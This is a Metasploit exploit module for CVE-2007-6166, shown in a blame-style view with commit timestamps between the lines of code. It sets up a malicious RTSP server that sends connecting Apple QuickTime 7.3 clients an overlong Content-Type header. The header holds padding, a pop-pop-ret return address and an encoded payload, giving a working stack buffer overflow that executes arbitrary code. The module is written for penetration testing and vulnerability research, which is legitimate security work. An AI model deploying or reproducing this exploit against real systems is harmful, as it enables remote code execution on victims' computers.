2007-11-26 14:41:16 +00:00
|
|
|
##
|
2008-04-21 05:27:06 +00:00
|
|
|
# $Id$
|
2007-11-26 14:41:16 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-11-26 14:41:16 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-11-26 14:41:16 +00:00
|
|
|
##
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2007-11-26 14:41:16 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::TcpServer
|
2007-11-26 14:41:16 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long
|
2010-04-30 08:40:19 +00:00
|
|
|
RTSP response to a client, an attacker may be able to execute arbitrary code.
|
2007-11-26 14:41:16 +00:00
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2007-11-26 14:41:16 +00:00
|
|
|
[
|
2009-05-13 17:39:42 +00:00
|
|
|
[ 'CVE', '2007-6166' ],
|
|
|
|
[ 'OSVDB', '40876' ],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'BID', '26549' ],
|
2012-06-28 19:27:12 +00:00
|
|
|
[ 'EDB', '4648' ],
|
2007-11-26 14:41:16 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 700,
|
|
|
|
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
|
|
|
|
'MaxNops' => 0,
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Nov 23 2007',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2007-11-26 14:41:16 +00:00
|
|
|
OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_connect(client)
|
2010-04-30 08:40:19 +00:00
|
|
|
return if ((p = regenerate_payload(client)) == nil)
|
2007-11-26 14:41:16 +00:00
|
|
|
|
|
|
|
client.get_once
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
buffer = rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
|
2007-11-26 14:41:16 +00:00
|
|
|
buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)
|
|
|
|
|
|
|
|
strname = rand_text_alpha(rand(75) + 1)
|
|
|
|
date = Time.now
|
|
|
|
num = rand(1).to_s
|
|
|
|
|
|
|
|
header = "RTSP/1.0 200 OK\r\n"
|
|
|
|
header << "CSeq: 1\r\n"
|
|
|
|
header << "Date: #{date}\r\n"
|
|
|
|
header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"
|
2010-04-30 08:40:19 +00:00
|
|
|
header << "Content-Type: #{buffer}\r\n"
|
2007-11-26 14:41:16 +00:00
|
|
|
header << "Content-Length: #{strname.length}\r\n\r\n"
|
|
|
|
|
|
|
|
body = "v=#{num}\r\n"
|
|
|
|
body << "o=#{strname}\r\n"
|
|
|
|
body << "s=#{strname}\r\n"
|
|
|
|
body << "i=#{strname}\r\n"
|
|
|
|
body << "t=#{num}\r\n"
|
|
|
|
body << "a=tool:#{strname}\r\n"
|
|
|
|
body << "a=type:#{strname}\r\n"
|
|
|
|
body << "a=control:#{strname}\r\n"
|
|
|
|
body << "a=range:#{strname}\r\n"
|
|
|
|
body << "a=x-qt-text-nam:#{strname}\r\n"
|
|
|
|
body << "a=x-qt-text-inf:#{strname}\r\n"
|
|
|
|
body << "m=#{strname}\r\n"
|
|
|
|
body << "c=#{strname}\r\n"
|
|
|
|
body << "a=control:#{strname}\r\n"
|
|
|
|
|
|
|
|
sploit = header + body
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-11-26 14:41:16 +00:00
|
|
|
print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")
|
|
|
|
|
|
|
|
client.put(sploit)
|
2007-11-26 23:43:23 +00:00
|
|
|
handler(client)
|
2007-11-26 14:41:16 +00:00
|
|
|
|
|
|
|
service.close_client(client)
|
|
|
|
end
|
|
|
|
|
2009-05-13 17:39:42 +00:00
|
|
|
end
|